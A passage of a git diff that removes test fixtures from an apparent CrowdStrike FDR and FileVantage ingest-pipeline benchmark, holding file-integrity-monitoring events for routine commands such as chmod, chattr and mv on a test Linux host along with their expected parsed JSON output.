"2e3d9c94d9c34764860b1f3b444c6d4d", - "ChangeId": "ca65aa54f7b9453b8ef199a5b2c8e3c4", - "ContentDiff": { - "Exists": false - }, - "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70", - "EventType": "Event_ExternalApiEvent", - "EventUUID": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4", - "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched", - "Nonce": 1314049827115114419, - "Policy": { - "ID": "8fd42a5c9ac24959a98d9e430837b5e6", - "Name": "FileVantage Policy" - }, - "Prevalence": { - "Key": "1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser" - }, - "Suppression": { - "Suppressed": false - }, - "cid": "2cc98db1a47b4c98b913c94d43bfab70", - "eid": 118 - }, - "event": { - "category": [ - "file" - ], - "created": "2025-12-01T09:26:57.862Z", - "id": "||2cc98db1a47b4c98b913c94d43bfab70", - "kind": "event", - "original": "{\"ChangeId\":\"ca65aa54f7b9453b8ef199a5b2c8e3c4\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1764581217862,\"Nonce\":1314049827115114419,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-12-01T09:26:57Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}", - "type": [ - "change" - ] - }, - "host": { - "hostname": "LINUX-TEST-HOST-01", - "name": "LINUX-TEST-HOST-01" - }, - "related": { - "hosts": [ - "LINUX-TEST-HOST-01" - ], - "user": [ - "testuser", - "1000" - ] - }, - "rule": { - "name": "/home/testuser/filevantage/", - "ruleset": "FileVantage Rule Group" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "1000", - "name": "testuser" - } - }, - { - "@timestamp": "2025-11-18T08:10:35.173Z", - "crowdstrike": { - "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d", - "ChangeId": "26a2448c6c174cac8cd2b46b74fe93ed", - "ContentDiff": { - "Exists": false - }, - "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70", - "EventType": "Event_ExternalApiEvent", - "EventUUID": "26a2448c-6c17-4cac-8cd2-b46b74fe93ed", - "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched", - "Nonce": 8348878083986819890, - "Policy": { - "ID": "8fd42a5c9ac24959a98d9e430837b5e6", - "Name": "FileVantage Policy" - }, - "Prevalence": { - "Key": "1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser" - }, - "Suppression": { - "Suppressed": false - }, - "cid": "2cc98db1a47b4c98b913c94d43bfab70", - "eid": 118 - }, - "event": { - "category": [ - "file" - ], - "created": "2025-11-18T08:10:35.173Z", - "id": "||2cc98db1a47b4c98b913c94d43bfab70", - "kind": "event", - "original": "{\"ChangeId\":\"26a2448c6c174cac8cd2b46b74fe93ed\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"adb\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1763453435173,\"Nonce\":8348878083986819890,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"26a2448c-6c17-4cac-8cd2-b46b74fe93ed\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-11-18T08:10:35Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}", - "type": [ - "change" - ] - }, - "file": { - "hash": { - "sha256": "adb" - } - }, - "host": { - "hostname": "LINUX-TEST-HOST-01", - "name": "LINUX-TEST-HOST-01" - }, - "related": { - "hash": [ - "adb" - ], - "hosts": [ - "LINUX-TEST-HOST-01" - ], - "user": [ - "testuser", - "1000" - ] - }, - "rule": { - "name": "/home/testuser/filevantage/", - "ruleset": "FileVantage Rule Group" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "1000", - "name": "testuser" - } - }, - { - "@timestamp": "2025-12-05T13:09:18.406Z", - "crowdstrike": { - "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d", - "ChangeId": "784c387c806a4adda54f83bc938d022d", - "ContentDiff": { - "Exists": false - }, - "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70", - "EventType": "Event_ExternalApiEvent", - "EventUUID": "784c387c-806a-4add-a54f-83bc938d022d", - "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched", - "Nonce": 7339193177690829435, - "Policy": { - "ID": "8fd42a5c9ac24959a98d9e430837b5e6", - "Name": "FileVantage Policy" - }, - "Prevalence": { - "Key": "1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root" - }, - "Suppression": { - "Suppressed": false - }, - "cid": "2cc98db1a47b4c98b913c94d43bfab70", - "eid": 118 - }, - "event": { - "category": [ - "file" - ], - "created": "2025-12-05T13:09:18.406Z", - "id": "||2cc98db1a47b4c98b913c94d43bfab70", - "kind": "event", - "original": "{\"ChangeId\":\"784c387c806a4adda54f83bc938d022d\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"root\",\"ID\":\"0\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1764940158406,\"Nonce\":7339193177690829435,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"784c387c-806a-4add-a54f-83bc938d022d\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-12-05T13:09:18Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}", - "type": [ - "change" - ] - }, - "host": { - "hostname": "LINUX-TEST-HOST-01", - "name": "LINUX-TEST-HOST-01" - }, - "related": { - "hosts": [ - "LINUX-TEST-HOST-01" - ], - "user": [ - "root", - "0" - ] - }, - "rule": { - "name": "/home/testuser/filevantage/", - "ruleset": "FileVantage Rule Group" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "0", - "name": "root" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log deleted file mode 100644 index c8074c265b..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log +++ /dev/null @@ -1,4 +0,0 @@ -{"CommandLine":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018306.15","ConfigStateHash":"3670115942","ContextProcessId":"53161386728422","ContextTimeStamp":"1764581215.460","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/usr/bin/env","ImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.20","ObjectAccessOperationType":"1","ObjectName":"/home/testuser/filevantage/suppressed","ObjectType":"2","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","RUID":"1000","RawProcessId":"32136","RuleModifiedTimeStamp":"","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.20","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764581216103"} -{"CommandLine":"chattr -i test.txt","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56475831735124","ContextTimeStamp":"1764940155.335","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/usr/bin/bash","ImageFileName":"/usr/bin/chattr","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","NewFileAttributesLinux":"0","ObjectAccessOperationType":"6","ObjectName":"/home/testuser/filevantage/test.txt","ObjectType":"1","ParentImageFileName":"/usr/bin/sudo","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","PreviousFileAttributesLinux":"16","RUID":"0","RawProcessId":"11590","RuleModifiedTimeStamp":"","UID":"0","UserName":"root","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"784c387c-806a-4add-a54f-83bc938d022d","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764940155942"} -{"CommandLine":"chmod +x test.sh","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56470381986263","ContextTimeStamp":"1764939765.615","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","ImageFileName":"/usr/bin/chmod","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","NewUnixPermissions":"509","ObjectAccessOperationType":"7","ObjectName":"/home/testuser/filevantage/test.sh","ObjectType":"1","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","PreviousUnixPermissions":"436","RUID":"1000","RawProcessId":"1205","RuleModifiedTimeStamp":"","SecurityInformationLinux":"1","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"48cd83c0-62ba-471c-a6a2-fa5309195dde","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764939766240"} -{"CommandLine":"mv test.txt newname.txt","ComputerName":"LINUX-TEST-HOST-01","ConfigBuild":"1007.8.0018308.15","ConfigStateHash":"4077874319","ContextProcessId":"56480700653114","ContextTimeStamp":"1764940527.728","EffectiveTransmissionClass":"3","Entitlements":"15","EventOrigin":"1","GrandparentImageFileName":"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node","ImageFileName":"/usr/bin/mv","IsEBPF":"0","IsFromDifferentMountNamespace":"0","LocalAddressIP4":"192.0.2.11","ObjectAccessOperationType":"5","ObjectName":"/home/testuser/filevantage/test.txt","ObjectNameNew":"/home/testuser/filevantage/newname.txt","ObjectType":"1","ParentImageFileName":"/usr/bin/bash","PolicyIdentifier":"8FD42A5C-9AC2-4959-A98D-9E430837B5E6","PolicyRuleGroupID":"70FE2543-10EE-477E-B875-5D82C91D0C6E","PolicyRuleID":"F8874E50-FBA1-4D6E-8BB3-4B86CC269235","PolicyRuleSeverity":"3","RUID":"1000","RawProcessId":"21533","RuleModifiedTimeStamp":"","UID":"1000","UserName":"testuser","aid":"2e3d9c94d9c34764860b1f3b444c6d4d","aip":"192.0.2.1","cid":"2cc98db1a47b4c98b913c94d43bfab70","event_platform":"Lin","event_simpleName":"FileIntegrityMonitorRuleMatched","id":"54049e9e-d8c2-41c8-8822-98687f7a3608","name":"FileIntegrityMonitorRuleMatchedLinV9","timestamp":"1764940528352"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json deleted file mode 100644 index 3b272f36c9..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json +++ /dev/null @@ -1,636 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2025-12-01T09:26:56.103Z", - "crowdstrike": { - "ConfigStateHash": "3670115942", - "ContextProcessId": "53161386728422", - "ContextTimeStamp": "2025-12-01T09:26:55.460Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "GrandparentImageFileName": "/usr/bin/env", - "IsEBPF": "0", - "IsFromDifferentMountNamespace": "0", - "LocalAddressIP4": [ - "192.0.2.20" - ], - "ObjectAccessOperationType": "CREATE", - "ObjectType": "FOLDER", - "ParentImageFileName": "/usr/bin/bash", - "Policy": { - "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6" - }, - "PolicyRuleSeverity": 3, - "RUID": "1000", - "cid": "2cc98db1a47b4c98b913c94d43bfab70", - "id": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4", - "name": "FileIntegrityMonitorRuleMatchedLinV9" - }, - "device": { - "id": "2e3d9c94d9c34764860b1f3b444c6d4d" - }, - "event": { - "action": "FileIntegrityMonitorRuleMatched", - "category": [ - "file" - ], - "created": "2025-12-01T09:26:56.103Z", - "id": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70", - "kind": "event", - "original": "{\"CommandLine\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018306.15\",\"ConfigStateHash\":\"3670115942\",\"ContextProcessId\":\"53161386728422\",\"ContextTimeStamp\":\"1764581215.460\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/usr/bin/env\",\"ImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.20\",\"ObjectAccessOperationType\":\"1\",\"ObjectName\":\"/home/testuser/filevantage/suppressed\",\"ObjectType\":\"2\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"RUID\":\"1000\",\"RawProcessId\":\"32136\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.20\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764581216103\"}", - "severity": 73, - "type": [ - "creation" - ] - }, - "file": { - "directory": "/home/testuser/filevantage", - "name": "suppressed", - "path": "/home/testuser/filevantage/suppressed", - "type": "dir" - }, - "host": { - "hostname": "LINUX-TEST-HOST-01", - "id": "2e3d9c94d9c34764860b1f3b444c6d4d", - "name": "LINUX-TEST-HOST-01", - "os": { - "type": "linux" - } - }, - "message": "FileIntegrityMonitorRuleMatched", - "observer": { - "address": [ - "192.0.2.20" - ], - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": [ - "192.0.2.20" - ], - "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d", - "version": "1007.8.0018306.15" - }, - "process": { - "args": [ - "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node", - "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js", - "--start-server", - "--host=127.0.0.1", - "--accept-server-license-terms", - "--enable-remote-auto-shutdown", - "--port=0", - "--telemetry-level", - "all", - "--connection-token-file", - "/home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token" - ], - "args_count": 11, - "command_line": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node /home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/out/server-main.js --start-server --host=127.0.0.1 --accept-server-license-terms --enable-remote-auto-shutdown --port=0 --telemetry-level all --connection-token-file /home/testuser/.vscode-server/.8b3775030ed1a69b13e4f4c628c612102e30a681.token", - "entity_id": "53161386728422", - "executable": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node", - "name": "node", - "pid": 32136, - "real_user": { - "id": "1000" - } - }, - "related": { - "hash": [ - "3670115942" - ], - "hosts": [ - "LINUX-TEST-HOST-01" - ], - "ip": [ - "192.0.2.20" - ], - "user": [ - "testuser", - "1000" - ] - }, - "rule": { - "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235", - "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E" - }, - "source": { - "address": "192.0.2.20", - "as": { - "number": 64500, - "organization": { - "name": "Documentation ASN" - } - }, - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": "192.0.2.20" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "1000" - } - }, - "id": "1000", - "name": "testuser" - } - }, - { - "@timestamp": "2025-12-05T13:09:15.942Z", - "crowdstrike": { - "ConfigStateHash": "4077874319", - "ContextProcessId": "56475831735124", - "ContextTimeStamp": "2025-12-05T13:09:15.335Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "GrandparentImageFileName": "/usr/bin/bash", - "IsEBPF": "0", - "IsFromDifferentMountNamespace": "0", - "LocalAddressIP4": [ - "192.0.2.11" - ], - "NewFileAttributesLinux": "0", - "ObjectAccessOperationType": "ATTRIBUTES_CHANGED", - "ObjectType": "FILE", - "ParentImageFileName": "/usr/bin/sudo", - "Policy": { - "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6" - }, - "PolicyRuleSeverity": 3, - "PreviousFileAttributesLinux": "16", - "RUID": "0", - "cid": "2cc98db1a47b4c98b913c94d43bfab70", - "id": "784c387c-806a-4add-a54f-83bc938d022d", - "name": "FileIntegrityMonitorRuleMatchedLinV9" - }, - "device": { - "id": "2e3d9c94d9c34764860b1f3b444c6d4d" - }, - "event": { - "action": "FileIntegrityMonitorRuleMatched", - "category": [ - "file" - ], - "created": "2025-12-05T13:09:15.942Z", - "id": "784c387c-806a-4add-a54f-83bc938d022d|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70", - "kind": "event", - "original": "{\"CommandLine\":\"chattr -i test.txt\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56475831735124\",\"ContextTimeStamp\":\"1764940155.335\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/usr/bin/bash\",\"ImageFileName\":\"/usr/bin/chattr\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"NewFileAttributesLinux\":\"0\",\"ObjectAccessOperationType\":\"6\",\"ObjectName\":\"/home/testuser/filevantage/test.txt\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/sudo\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"PreviousFileAttributesLinux\":\"16\",\"RUID\":\"0\",\"RawProcessId\":\"11590\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"0\",\"UserName\":\"root\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"784c387c-806a-4add-a54f-83bc938d022d\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764940155942\"}", - "severity": 73, - "type": [ - "change" - ] - }, - "file": { - "attributes": [ - "0" - ], - "directory": "/home/testuser/filevantage", - "extension": "txt", - "name": "test.txt", - "path": "/home/testuser/filevantage/test.txt", - "type": "file" - }, - "host": { - "hostname": "LINUX-TEST-HOST-01", - "id": "2e3d9c94d9c34764860b1f3b444c6d4d", - "name": "LINUX-TEST-HOST-01", - "os": { - "type": "linux" - } - }, - "message": "FileIntegrityMonitorRuleMatched", - "observer": { - "address": [ - "192.0.2.1" - ], - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": [ - "192.0.2.1" - ], - "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d", - "version": "1007.8.0018308.15" - }, - "process": { - "args": [ - "chattr", - "-i", - "test.txt" - ], - "args_count": 3, - "command_line": "chattr -i test.txt", - "entity_id": "56475831735124", - "executable": "/usr/bin/chattr", - "name": "chattr", - "pid": 11590, - "real_user": { - "id": "0" - } - }, - "related": { - "hash": [ - "4077874319" - ], - "hosts": [ - "LINUX-TEST-HOST-01" - ], - "ip": [ - "192.0.2.1", - "192.0.2.11" - ], - "user": [ - "root", - "0" - ] - }, - "rule": { - "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235", - "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E" - }, - "source": { - "address": "192.0.2.11", - "as": { - "number": 64500, - "organization": { - "name": "Documentation ASN" - } - }, - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": "192.0.2.11" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "0" - } - }, - "id": "0", - "name": "root" - } - }, - { - "@timestamp": "2025-12-05T13:02:46.240Z", - "crowdstrike": { - "ConfigStateHash": "4077874319", - "ContextProcessId": "56470381986263", - "ContextTimeStamp": "2025-12-05T13:02:45.615Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "GrandparentImageFileName": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node", - "IsEBPF": "0", - "IsFromDifferentMountNamespace": "0", - "LocalAddressIP4": [ - "192.0.2.11" - ], - "NewUnixPermissions": "509", - "ObjectAccessOperationType": "PERMISSIONS_CHANGED", - "ObjectType": "FILE", - "ParentImageFileName": "/usr/bin/bash", - "Policy": { - "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6" - }, - "PolicyRuleSeverity": 3, - "PreviousUnixPermissions": "436", - "RUID": "1000", - "SecurityInformationLinux": "1", - "cid": "2cc98db1a47b4c98b913c94d43bfab70", - "id": "48cd83c0-62ba-471c-a6a2-fa5309195dde", - "name": "FileIntegrityMonitorRuleMatchedLinV9" - }, - "device": { - "id": "2e3d9c94d9c34764860b1f3b444c6d4d" - }, - "event": { - "action": "FileIntegrityMonitorRuleMatched", - "category": [ - "file" - ], - "created": "2025-12-05T13:02:46.240Z", - "id": "48cd83c0-62ba-471c-a6a2-fa5309195dde|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70", - "kind": "event", - "original": "{\"CommandLine\":\"chmod +x test.sh\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56470381986263\",\"ContextTimeStamp\":\"1764939765.615\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"ImageFileName\":\"/usr/bin/chmod\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"NewUnixPermissions\":\"509\",\"ObjectAccessOperationType\":\"7\",\"ObjectName\":\"/home/testuser/filevantage/test.sh\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"PreviousUnixPermissions\":\"436\",\"RUID\":\"1000\",\"RawProcessId\":\"1205\",\"RuleModifiedTimeStamp\":\"\",\"SecurityInformationLinux\":\"1\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"48cd83c0-62ba-471c-a6a2-fa5309195dde\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764939766240\"}", - "severity": 73, - "type": [ - "change" - ] - }, - "file": { - "directory": "/home/testuser/filevantage", - "extension": "sh", - "name": "test.sh", - "path": "/home/testuser/filevantage/test.sh", - "type": "file" - }, - "host": { - "hostname": 